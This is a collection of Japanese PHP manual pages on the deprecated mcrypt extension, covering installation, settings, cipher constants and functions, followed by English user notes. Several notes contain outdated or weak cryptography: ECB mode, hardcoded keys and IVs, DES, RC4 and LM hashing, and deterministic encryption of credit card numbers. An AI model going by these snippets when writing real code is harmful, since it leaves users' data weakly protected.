Issue Solved when installing php7.2-mcrypt
I was also facing the same issue. Check this link https://stackoverflow.com/q/48275494/7713811
to get the right solution for installing it in PHP
Greg Rundlett 26-Nov-2014 08:05
debian/ubuntu php5 (>= 5.4.0~rc6-1) has introduced two new commands:
php5enmod and php5dismod

# install the extension
sudo apt-get install php5-mcrypt
# you can see that it's installed by the presence of the .ini file
cat /etc/php5/mods-available/mcrypt.ini
# enable it
sudo php5enmod mcrypt
# reload Apache to make use of the extension
sudo service apache2 reload
cguzmana at gmail dot com 06-Oct-2014 08:24
Resolved my problem on Ubuntu 14.04:

$sudo apt-get install php5-mcrypt
$sudo php5enmod mcrypt
info at papoo dot de 11-Mar-2014 01:13
Same Problem on Linux Mint - Call to undefined function mcrypt_create_iv...

Solved by adding the folowing line to the php.ini
extension=mcrypt.so

After that a
service apache2 restart
solved it...

Have fun with it...
Jbud 24-Dec-2013 09:31
The following link solved my problem

[Tue Dec 24 12:42:33.003683 2013] [:error] [pid 8448] [client 127.0.0.1:33146] PHP Fatal error:  Call to undefined function mcrypt_decrypt() ...

http://stackoverflow.com/questions/4809611/problem-with-mcrypt-installation/20208943#20208943
nsantana at NOSPAMS dot gmail dot com 19-Oct-2012 11:21
Using PHP version "PHP Version 5.3.10-1ubuntu3.4" and Ubuntu 12.0.4 on Apache2...

Make sure you have mcrypt installed and active on your php5 install. Use "sudo apt-get install php5-mcrypt" to install, that should sort the issue.
dork 11-May-2010 10:54
On ubuntu 8 (hardy), the mcrypt library seems to be here.

/usr/lib/php5/20060613/mcrypt.so

So I just created mcrypt.ini in /etc/php5/conf.d and added this one liner.

extension=mcrypt.so
bobeck at lycos dot com 06-Jan-2010 06:32
To make sure that mcrypt doesn't fail to load when
using Windows XP , Apache 2 and php 5, even if all the required procedure to install it has been accomplished already, copy libmcrypt.dll, which is normally in the php main directory, into the php\ext directory.
kmasaryk 14-Jul-2009 05:30
Also on Ubuntu, make sure you actually have php5-mcrypt installed. You can install it with:

sudo apt-get install php5-mcrypt

If you get any errors, you may need to enable the 'universe' repository, explained here:
https://help.ubuntu.com/community/Repositories/Ubuntu
rskret at gmail dot com 28-Feb-2009 04:04
PROBLEM: cannot load mcrypt extension. please check your php configuration

I have done as suggested by the contributor before me and copied libmcrypt.dll from F:\wamp\bin\php\PHP52~1.8
to C:\WINDOWS\system32 . This did not work on it's own. I found other advice as follows and now mcrypt is working.

OTHER ADVICE:

Go to F:\wamp\bin\php\PHP52~1.8\php.ini
change ;extension=php_mcrypt.dll
to      extension=php_mcrypt.dll
(ie. remove ; )

now go to the following 2 files and do the same:
F:\wamp\bin\php\PHP52~1.8\phpForApache.ini
F:\wamp\bin\apache\APACHE~1.11\bin\php.ini

Please adjust the directory location per your own installation.
ch0wnag3 AT gmail DOT com 21-Jul-2008 02:16
On Windows installations, for the dynamic extension (extension=php_mcrypt.dll) to load properly, you must copy libmcrypt.dll from your PHP root folder (e.g. C:\PHP) to the following location:

C:\WINDOWS\system32

With this done, the dynamic extension will load up just fine.


要件

ここで示す関数は、» mcrypt を 使用して動作します。この拡張モジュールを使用するには、» http://mcrypt.sourceforge.net/ から libmcrypt-x.x.tar.gz をダウンロードし、含まれているインストール用の指示に従ってください。

libmcrypt のバージョン 2.5.6 以降が必要です。

Windows ユーザーは、PHP 5.2 Windows 版バイナリに含まれているライブラリを使います。 PHP 5.3 の Windows 版バイナリには MCrypt ライブラリがスタティックに組み込まれているので、 DLL は不要です。

libmcrypt 2.4.x とリンクした場合、加えてブロックアルゴリズム: CAST, LOKI97, RIJNDAEL, SAFERPLUS, SERPENT および次のストリーム暗号: ENIGMA (crypt), PANAMA, RC4, WAKE がサポートされます。 libmcrypt 2.4.x を使用した場合、暗号モード nOFB もサポートされます。

User Contributed Notes

Vladimir Kovpak 30-Mar-2015 10:00
On linux:

sudo apt-get install php5-mcrypt
sudo php5enmod mcrypt
sudo service apache2 restart
jcwebb at dicoe dot com 08-Apr-2014 03:48
there are no instructions included with the sourceforge download.

After php 5.3 mcrypt is automatically included and enabled.
(i was looking to enable an extension)
Anonymous 22-May-2012 02:55
Both mcrypt and libmcrypt are available through the linked website.  You simply have to click the "Browse all files" or similar link once on the "development site" and not just look for the default Sourceforge download button.
Antoine 30-Nov-2010 05:53
mcrypt is built in for PHP 5.3.x on windows, you don't need to do anything with a dll anymore.
tom420 dot duhamel at gmail dot com 02-Feb-2009 09:55
If installing libmcrypt from RPM, you need both libmcrypt*.rpm and libmcrypt-devel*.rpm. I found RPMs for both were available for most platforms on this page:

http://rpmforge.net/user/packages/libmcrypt/

Also files.edin.dk does not seem to carry the win32 files anymore.


インストール手順

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 7.2.0

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mcrypt.

User Contributed Notes

Polichism 02-Oct-2014 06:43
If you don't have a /etc/php5/conf.d directory, you can simply only do: php5enmod mcrypt

Should be working fine.
Tanner Williamson 01-Oct-2014 05:56
On Ubuntu 14.04 LTS using php5-fpm with Nginx, I had to symlink the mcrypt.ini to the correct location, and then restart php5-fpm and nginx.
#ln -s /etc/php5/mods-available/mcrypt.ini /etc/php5/fpm/conf.d/mcrypt.ini
#service php5-fpm restart
#service nginx restart
biz at svstartuplab dot com 31-Mar-2014 11:20
I needed to install mcrypt on Mac OS X Mavericks 10.9 for installing the Laravel 5 framework. I entered in the Terminal command line:

brew tap josegonzalez/homebrew-php
brew install php54 php54-mcrypt

This installed Mcrypt.  In Terminal type php -i to see a list of everything installed or for much better formatting and easier to read make a phpinfo.php page with this inside <?php phpinfo(); ?>

More help with installing on OS X:
http://stackoverflow.com/questions/14595841/installing-mcrypt-extension-for-php-on-osx-mountain-lion
Anonymous 12-Mar-2014 03:37
Note, for Ubuntu, simply installing php5-mcrypt did not get mcrypt to work. You need to execute the following commands as root to enable it:

apt-get install php5-mcrypt
mv -i /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-available/
php5enmod mcrypt
service apache2 restart
trenton at rainleader dot com 03-Dec-2010 08:22
If using a Debian-based Linux system, you can run the following commands:

sudo apt-get install php5-mcrypt
sudo /etc/init.d/apache2 restart
james dot mclean at gmail dot com 12-Oct-2009 09:23
You can install Mcrypt from the PHP Source Tree as a module if you choose.

You first need to ensure you have libmcrypt, libmcrypt-devel, and mcrypt installed, then do:

# cd php-5.x.x/ext/mcrypt
# phpize
# aclocal
# ./configure
# make && make install

Enable the module by adding: 'extension=mcrypt.so' to PHP.ini.

Done!

Very handy if you need to install a single module and you may have installed PHP via RPM, but don't wish to recompile your whole PHP install.


実行時設定

php.ini の設定により動作が変化します。

Mcrypt 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mcrypt.algorithms_dir | null | PHP_INI_ALL |
mcrypt.modes_dir | null | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mcrypt.algorithms_dir string

アルゴリズムが格納されているディレクトリ。 デフォルトは libmcrypt をコンパイルするときに指定した場所で、通常は /usr/local/lib/libmcrypt です。 詳細は mcrypt_list_algorithms() を参照ください。

mcrypt.modes_dir string

モードが格納されているディレクトリ。 デフォルトは libmcrypt をコンパイルするときに指定した場所で、通常は /usr/local/lib/libmcrypt です。 詳細は mcrypt_list_modes() を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

mcrypt_module_open() は暗号記述子を返します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

mcryptは 4 つのブロック暗号モード(CBC, OFB, CFB, ECB)で実行可能です。 libmcrypt-2.4.x 以降にリンクした場合、ブロック暗号モード nOFG と STREAM モードでも実行可能です。MCRYPT_MODE_mode 形式を関数で使用する 際には、いくつかの制約があります。ここで、これらの各モードの通常の 使用法の概要を示します。詳細なリファレンスおよび議論に関しては、 Applied Cryptography by Schneier (ISBN 0-471-11709-9) を参照ください。

  • MCRYPT_MODE_ECB (electronic codebook) は、 一般的にはほとんどの用途に合わないブロック暗号モードです。 このモードを使うことは推奨しません。
  • MCRYPT_MODE_CBC (cipher block chaining)は、ECB よりも著しく セキュアなブロック暗号モードです。
  • MCRYPT_MODE_CFB (cipher feedback、8 ビット形式) は、 ストリーム暗号モードです。 CFB ではなく、NCFB の使用を推奨します。
  • MCRYPT_MODE_OFB (output feedback、8 ビット形式) は CFBと互換性が あるストリーム暗号モードですが、エラーの伝播が許容されないアプリケーションに使用する ことが可能です。 OFB ではなく、 NOFB の使用を推奨します。
  • MCRYPT_MODE_NOFB (output feedback, nビット形式) は OFB と互換性がありますが、 アルゴリズムのブロックサイズを変更可能です。
  • MCRYPT_MODE_STREAM は、 "WAKE" や "RC4" のようないくつかのストリーム アルゴリズムを読み込む追加のモードです。

Mcrypt は、あらかじめ定義された定数が存在しない他の操作モードもサポートしています。 これらは不明な定数の代わりに、文字列を渡すことで利用できます。

  • "ctr" (counter mode) はストリーム暗号モードです。
  • "ncfb" (cipher feedback, n-bit 形式) は CFB と互換性がありますが、 アルゴリズムのブロックサイズを変更可能です。

他のモードおよびランダムデバイス定数:

MCRYPT_ENCRYPT (int)
MCRYPT_DECRYPT (int)
MCRYPT_DEV_RANDOM (int)
MCRYPT_DEV_URANDOM (int)
MCRYPT_RAND (int)

User Contributed Notes

Andrey Andreev 06-Mar-2014 12:03
You can just use strings instead of the constants ... they are useless and lacking for other modes that are fully supported. Here's a list:

cbc
ecb
ofb
nofb
cfb
ncfb
ctr
stream
gordon at vixo dot com 02-Feb-2013 08:17
These constants don't cover all the possible options.

There are two constants:
MCRYPT_MODE_OFB
MCRYPT_MODE_NOFB

These relate to using OFB mode in 8-bit feedback mode and using the same feedback length as the key

There is one constant
MCRYPT_MODE_CFB which uses 8-bit feedback mode

There ought to be a constant
MCRYPT_MODE_NCFB which uses the same feedback length as the key.

In fact you can just use the option 'ncfb' in mycrypt


Mcrypt 暗号

以下に、mcrypt 拡張モジュールにより現在サポートされている暗号のリストを 示します。サポートされる暗号の完全なリストについては、 mcrypt.h の最後にある define を参照ください。 mcrypt-2.2.x API に関する一般的な規則は、 MCRYPT_暗号名で PHP から暗号をアクセス可能であるということです。 mcrypt-2.4.x および mcrypt-2.5.x の API についてもこれらの定数は 使用できますが、mcrypt_module_open() を コールする際に文字列で暗号名を指定することも可能です。

  • MCRYPT_3DES
  • MCRYPT_ARCFOUR_IV (libmcrypt > 2.4.x のみ)
  • MCRYPT_ARCFOUR (libmcrypt > 2.4.x のみ)
  • MCRYPT_BLOWFISH
  • MCRYPT_CAST_128
  • MCRYPT_CAST_256
  • MCRYPT_CRYPT
  • MCRYPT_DES
  • MCRYPT_DES_COMPAT (libmcrypt 2.2.x のみ)
  • MCRYPT_ENIGMA (libmcrypt > 2.4.x のみ、MCRYPT_CRYPT へのエイリアス)
  • MCRYPT_GOST
  • MCRYPT_IDEA (非フリー)
  • MCRYPT_LOKI97 (libmcrypt > 2.4.x のみ)
  • MCRYPT_MARS (libmcrypt > 2.4.x のみ、非フリー)
  • MCRYPT_PANAMA (libmcrypt > 2.4.x のみ)
  • MCRYPT_RIJNDAEL_128 (libmcrypt > 2.4.x のみ)
  • MCRYPT_RIJNDAEL_192 (libmcrypt > 2.4.x のみ)
  • MCRYPT_RIJNDAEL_256 (libmcrypt > 2.4.x のみ)
  • MCRYPT_RC2
  • MCRYPT_RC4 (libmcrypt 2.2.x のみ)
  • MCRYPT_RC6 (libmcrypt > 2.4.x のみ)
  • MCRYPT_RC6_128 (libmcrypt 2.2.x のみ)
  • MCRYPT_RC6_192 (libmcrypt 2.2.x のみ)
  • MCRYPT_RC6_256 (libmcrypt 2.2.x のみ)
  • MCRYPT_SAFER64
  • MCRYPT_SAFER128
  • MCRYPT_SAFERPLUS (libmcrypt > 2.4.x のみ)
  • MCRYPT_SERPENT(libmcrypt > 2.4.x のみ)
  • MCRYPT_SERPENT_128 (libmcrypt 2.2.x のみ)
  • MCRYPT_SERPENT_192 (libmcrypt 2.2.x のみ)
  • MCRYPT_SERPENT_256 (libmcrypt 2.2.x のみ)
  • MCRYPT_SKIPJACK (libmcrypt > 2.4.x のみ)
  • MCRYPT_TEAN (libmcrypt 2.2.x のみ)
  • MCRYPT_THREEWAY
  • MCRYPT_TRIPLEDES (libmcrypt > 2.4.x のみ)
  • MCRYPT_TWOFISH (古い mcrypt 2.x 系か、あるいは mcrypt > 2.4.x )
  • MCRYPT_TWOFISH128 (TWOFISHxxx は 2.x の新しいバージョンで使用可能ですが、2.4.x では使用できません)
  • MCRYPT_TWOFISH192
  • MCRYPT_TWOFISH256
  • MCRYPT_WAKE (libmcrypt > 2.4.x のみ)
  • MCRYPT_XTEA (libmcrypt > 2.4.x のみ)

(CFB および OFB モードでは)それぞれの暗号関数に初期化ベクトル(IV) を指定する必要があり、(CBC モードでは)IV を指定することが可能です。 IV はユニークである必要があり、暗号化/復号化の際に同じである 必要があります。暗号化されて保存されたデータの場合、関数の出力を (ファイル名の MD5 キーのように) 保存されたデータの位置を表す インデックスとして使用することができます。もしくは、暗号化された データと共に IV を渡すことができます(このトピックに関する議論については、 Applied Cryptography by Schneier (ISBN 0-471-11709-9) の 9.3 章を参照ください)。

User Contributed Notes

dan at zaph dot com 21-Aug-2015 12:26
Interpretability:

mcrypt does not support PKCS#7 padding, it uses non-standard and insecure null padding. This means that for interoperability with most other implementations PKCS#7 padding will have to be added prior to encryption and/or removed after decryption. This is a major source of interoperability issues.

When interoperating with AES the mcrypt algorithm must be specified as MCRYPT_RIJNDAEL_128 since AES only supports a block size of 128-bits. There is often confusion that this specifies the key size which it does not.
stanislav dot eckert at vizson dot de 01-Jun-2015 05:33
The latest patents for the IDEA algorithm have expired in 2012 and the cipher is now patent-free and free to use.
Rob 31-Dec-2013 03:28
These constants can in fact be used as input to the function mcrypt_module_open() because mcrypt.php contains defines that map these constants to the appropriate string values obtained from mcrypt_list_algorithms().
Mark 29-Oct-2012 02:13
Note, these are not the names you use in the function mcrypt_module_open to specify the algorithm.

Use mcrypt_list_algorithms to get the right names to stick in there
robin 17-Dec-2010 09:41
The MCRYPT_TWOFISH constant when defined by mcrypt version 2.4.x and later is the 256 bit version of Twofish; it uses a 1-32 byte key, a 16 byte IV, and outputs 16 byte blocks in CBC mode.


例

mcrypt は、上に示した暗号を用いて暗号化および復号化を 行うことが可能です。libmcrypt-2.2.x とリンクした場合、4つの重要な mcrypt コマンド (mcrypt_cfb(), mcrypt_cbc(),mcrypt_ecb(), mcrypt_ofb()) は、MCRYPT_ENCRYPT および MCRYPT_DECRYPT という 2つのモードの両方で実行可能です。

libmcrypt 2.4.x または 2.5.x とリンクした場合、上記の関数も利用可能 ですが、新しい関数を使用されることを推奨します。

例1 2.4.x 以降において CBC モードで AES により入力を暗号化する

<?php
    $key = hash('sha256', 'this is a secret key', true);
    $input = "Let us meet at 9 o'clock at the secret place.";

    $td = mcrypt_module_open('rijndael-128', '', 'cbc', '');
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_URANDOM);
    mcrypt_generic_init($td, $key, $iv);
    $encrypted_data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
?>
この例は、$encrypted_data に文字列として 暗号化されたデータを取得します。詳細な例については、 mcrypt_module_open() を参照してください。

User Contributed Notes

ivoras at gmail dot com 30-Aug-2010 06:36
Note that there can be standard padding in block modes:

http://www.di-mgt.com.au/cryptopad.html
jizz @ Nowhere 01-Jul-2008 12:36
Ok after having a problem using triple des with .net/visual basic with php I think this could help someone:

Visual Basic 9 with .net 2.0
Encrypting as a stream into the IO/Memory as bytes
Then they get converted back after encryption

I wanted to use base64 encoding to store the VB encryption
The problem I found was ...

I could En/Decrypt within VB and PHP just fine
But when I tried to encrypt one in VB and decrypt in PHP
I got the wrong values with the mcrypt function alone

I found that at least with VB9 that the stream encryption uses a UTF char that is the value for how many missing bytes left in the 8 bit stream.

So if you encrypt 1234 it will add chr(4) four times (the amount of missing bytes)
In php use chr otherwise most browsers/client cant read it.
Im not good at explaining things but the php code I figured out is below.

It will find the missing bytes on input as visual basic does
and replace as needed. For both encryption and decryption.

Example is triple_des and cbc with self key and iv for storing in base64

$key = "E4HD9h4DhS23DYfhHemkS3Nf";// 24 bit Key
$iv = "fYfhHeDm";// 8 bit IV
$input = "Text to encrypt";// text to encrypt
$bit_check=8;// bit amount for diff algor.

$str= encrypt($input,$key,$iv,$bit_check);
echo "Start: $input - Excrypted: $str - Decrypted: ".decrypt($str,$key,$iv,$bit_check);

function encrypt($text,$key,$iv,$bit_check) {
$text_num =str_split($text,$bit_check);
$text_num = $bit_check-strlen($text_num[count($text_num)-1]);
for ($i=0;$i<$text_num; $i++) {$text = $text . chr($text_num);}
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mcrypt_generic($cipher,$text);
mcrypt_generic_deinit($cipher);
return base64_encode($decrypted);
}

function decrypt($encrypted_text,$key,$iv,$bit_check){
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,base64_decode($encrypted_text));
mcrypt_generic_deinit($cipher);
$last_char=substr($decrypted,-1);
for($i=0;$i<$bit_check-1; $i++){
    if(chr($i)==$last_char){

        $decrypted=substr($decrypted,0,strlen($decrypted)-$i);
        break;
    }
}
return $decrypted;
}


Mcrypt 関数

目次

  • mcrypt_cbc — CBC モードでデータを暗号化/復号する
  • mcrypt_cfb — CFB モードでデータを暗号化/復号する
  • mcrypt_create_iv — Creates an initialization vector (IV) from a random source
  • mcrypt_decrypt — Decrypts crypttext with given parameters
  • mcrypt_ecb — 非推奨: ECB モードでデータを暗号化/復号する
  • mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm
  • mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm
  • mcrypt_enc_get_iv_size — オープンされたアルゴリズムの IV の大きさを返す
  • mcrypt_enc_get_key_size — オープンされたモードでサポートされる最大キー長を返す
  • mcrypt_enc_get_modes_name — オープンされたモードの名前を返す
  • mcrypt_enc_get_supported_key_sizes — オープンされたアルゴリズムでサポートされるキー長を配列にして返す
  • mcrypt_enc_is_block_algorithm_mode — オープンされたモードの暗号がブロックモードで動作するかどうかを調べる
  • mcrypt_enc_is_block_algorithm — オープンされたモードの暗号がブロックアルゴリズムであるかどうかを調べる
  • mcrypt_enc_is_block_mode — オープンされたモードがブロック出力を行うかどうかを調べる
  • mcrypt_enc_self_test — オープンしたモジュールのセルフテストを実行する
  • mcrypt_encrypt — 指定したパラメータでプレーンテキストを暗号化する
  • mcrypt_generic_deinit — 暗号化モジュールを終了する
  • mcrypt_generic_end — 暗号処理を終了する
  • mcrypt_generic_init — 暗号化に必要な全てのバッファを初期化する
  • mcrypt_generic — データを暗号化する
  • mcrypt_get_block_size — 指定した暗号のブロックサイズを得る
  • mcrypt_get_cipher_name — 指定した暗号の名前を得る
  • mcrypt_get_iv_size — 指定した暗号/モードの組み合わせに属する IV の大きさを返す
  • mcrypt_get_key_size — 指定した暗号のキーの長さを得る
  • mcrypt_list_algorithms — サポートされる全ての暗号を配列として取得する
  • mcrypt_list_modes — サポートされる全てのモードの配列を取得する
  • mcrypt_module_close — mcrypt モジュールを閉じる
  • mcrypt_module_get_algo_block_size — 指定したアルゴリズムのブロック長を返す
  • mcrypt_module_get_algo_key_size — オープンされたモードでサポートされる最大キー長を返す
  • mcrypt_module_get_supported_key_sizes — オープンされたアルゴリズムでサポートされるキーのサイズを配列として返す
  • mcrypt_module_is_block_algorithm_mode — 指定したモジュールがブロックアルゴリズムであるかどうかを返す
  • mcrypt_module_is_block_algorithm — 指定したアルゴリズムがブロックアルゴリズムであるかを調べる
  • mcrypt_module_is_block_mode — 指定したモードがブロック出力を行うかどうかを返す
  • mcrypt_module_open — 使用するアルゴリズムおよびモードのモジュールをオープンする
  • mcrypt_module_self_test — 指定したモジュールのセルフテストを実行する
  • mcrypt_ofb — OFB モードでデータを暗号化/復号する
  • mdecrypt_generic — データを復号する

User Contributed Notes

patrickdk at patrickdk dot com 06-Aug-2010 10:30
This works completely with mysql aes, even long keys.

<?php
function mysql_aes_decrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode = MCRYPT_MODE_ECB;
    $enc = MCRYPT_RIJNDAEL_128;
    $dec = @mcrypt_decrypt($enc, $key, $val, $mode, @mcrypt_create_iv( @mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM ) );
    return rtrim($dec,(( ord(substr($dec,strlen($dec)-1,1))>=0 and ord(substr($dec, strlen($dec)-1,1))<=16)? chr(ord( substr($dec,strlen($dec)-1,1))):null));
}

function mysql_aes_encrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $key, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>
p ete postma - googlemail.com 30-Oct-2009 09:42
mcrypt module initialization failed

I found this circumstance:

usemcrypt.php:
<?php
 function protect() {
 //some mcrypt/decrypt command
 }
?>

filea.php:
<?php
include_once('usemcrypt.php');

function a() {
 protect();
} ?>

fileb.php
<?php
function b() {
  include_once('usemcrypt.php');
  protect();
}
?>

filea.php and a() work fine
fileb.php and b() will report a mcrypt module initialization failed

I am assuming you can't pull that module in on the fly. If you use a file that calls mcrypt, it has to be included at the head, not in a function.
manyagain 04-Jul-2009 08:44
if you don't have mcrypt installed, try phpseclib - http://phpseclib.sourceforge.net

includes pure-php implementations of des, 3des, rc4, aes, and rijndael.  uses mcrypt if it's available and a pure-php implementation otherwise.  it also has the distinction of having the fastest existent pure-php aes implementation as per section 3.5.5. "Speed Comparisons" of the documentation.
Rafael M. Salvioni 27-Nov-2008 04:26
The follow function is a implementation of the RC4 cypher algorithm in pure PHP code.

The function is used to encrypt and decrypt data.

<?php
/**
 * Crypt/decrypt strings with RC4 stream cypher algorithm.
 *
 * @param string $key Key
 * @param string $data Encripted/pure data
 * @see   http://pt.wikipedia.org/wiki/RC4
 * @return string
 */
function rc4($key, $data)
{
    // Store the vectors "S" has calculated
    static $SC;
    // Function to swaps values of the vector "S"
    $swap = create_function('&$v1, &$v2', '
        $v1 = $v1 ^ $v2;
        $v2 = $v1 ^ $v2;
        $v1 = $v1 ^ $v2;
    ');
    $ikey = crc32($key);
    if (!isset($SC[$ikey])) {
        // Make the vector "S", basead in the key
        $S    = range(0, 255);
        $j    = 0;
        $n    = strlen($key);
        for ($i = 0; $i < 255; $i++) {
            $char  = ord($key{$i % $n});
            $j     = ($j + $S[$i] + $char) % 256;
            $swap($S[$i], $S[$j]);
        }
        $SC[$ikey] = $S;
    } else {
        $S = $SC[$ikey];
    }
    // Crypt/decrypt the data
    $n    = strlen($data);
    $data = str_split($data, 1);
    $i    = $j = 0;
    for ($m = 0; $m < $n; $m++) {
        $i        = ($i + 1) % 256;
        $j        = ($j + $S[$i]) % 256;
        $swap($S[$i], $S[$j]);
        $char     = ord($data[$m]);
        $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
        $data[$m] = chr($char);
    }
    return implode('', $data);
}
?>
artem at it-nt dot ru 29-May-2008 12:25
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
phpknights at pookmail dot com 01-Feb-2008 01:18
The Pear class Crypt/Blowfish.php will use the mcrypt module if available but the mcrypt module is not required.

Some very easy Pear and example pseudocode to protect your data by encrypting your databases with a one-way hash and blowfish symmetric encryption.
http://en.wikibooks.org/wiki/Cryptography/Database_protection

Using a one-way hash and blowfish symmetric encryption.
1. Insert a record of John Doe in an encrypted database.
2. Get the encrypted record of user John Doe and decrypt the data.

1. Insert a record of John Doe in an encrypted database.
<?php

        require_once("Crypt/Blowfish.php"); // a Pear class

        $aRecord['email']       =       "johndoe@anisp.localhost"; // The Primary key
        $aRecord['name']        =       "John Doe";
        $aRecord['creditnr']    =       "0192733652342" ;

        // crypt - one-way encryption
        $cipher_key = crypt( $aRecord['email'] , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to encrypt the data
        $aRecord['email']       = $bf->encrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->encrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->encrypt( $aRecord['creditnr'] );

        $result = sqlInsert( $aRecord ) ;
?>

2. Get the encrypted record of user John Doe and decrypt the data.
<?php

        require_once("Crypt/Blowfish.php");  // a Pear class

        $primary_key = "johndoe@anisp.localhost";

        // crypt - one-way encryption
        $cipher_key = crypt(  $primary_key , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to ecrypt the primary key for a sql select
        $select_key = $bf->encrypt(  $primary_key ) ;

        $aRecord = sqlSelectWithPKEY( $select_key );

        // crypt_blowfish symmetric encryption to decrypt the data
        $aRecord['email']       = $bf->decrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->decrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->decrypt( $aRecord['creditnr'] );
?>

Thanks for reading this.
Kevin 23-Jan-2008 09:37
Solved Problem:

when compiling php --with-mcrypt, phpinfo() says, that mcrypt ist enabled, but
"Supported ciphers none" and
"Supported modes none"

In order to get mcrypt to work in php, you have to configure and compile the libmcrypt source package with the following options:
./configure --disable-posix-threads --enable-dynamic-loading
Ivan Frederiks 28-Apr-2007 07:03
To enable mcrypt extension under Windows you need to:
1) uncomment line "extension=php_mcrypt.dll" in php.ini
2) download libmcrypt.dll from http://files.edin.dk/php/win32/mcrypt/ and put it to System32 directory (for example C:\Windows\System32).
Tested on Windows XP+Apache 1.3.37+PHP 4.4.6 (as SAPI module!!!)

P.S.
I wrote this because I got "Cannot load mcrypt extension. Please check your PHP configuration." from phpMyAdmin when I simply uncommented "extension=php_mcrypt.dll" line.
duerra_NOT_THIS_ at pushitlive dot net 20-Sep-2006 12:56
For those of you that need to use PKCS#5 padding, the mcrypt API's for PHP do not support it.  However, you can DIY using the following:

<?php

function encrypt_something($input)
{
    $size = mcrypt_get_block_size('des', 'ecb');
    $input = pkcs5_pad($input, $size);

    $key = 'YOUR SECRET KEY HERE';
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $data = base64_encode($data);
    return $data;
}

function pkcs5_pad ($text, $blocksize)
{
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}

function pkcs5_unpad($text)
{
    $pad = ord($text{strlen($text)-1});
    if ($pad > strlen($text)) return false;
    if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) return false;
    return substr($text, 0, -1 * $pad);
}
?>
rolf at winmutt dot com 10-Mar-2006 12:19
mysql AES_ENCRYPT() compatibly function for PHP :

<?php
function mysql_aes_encrypt($val,$ky) {
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $ky, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>

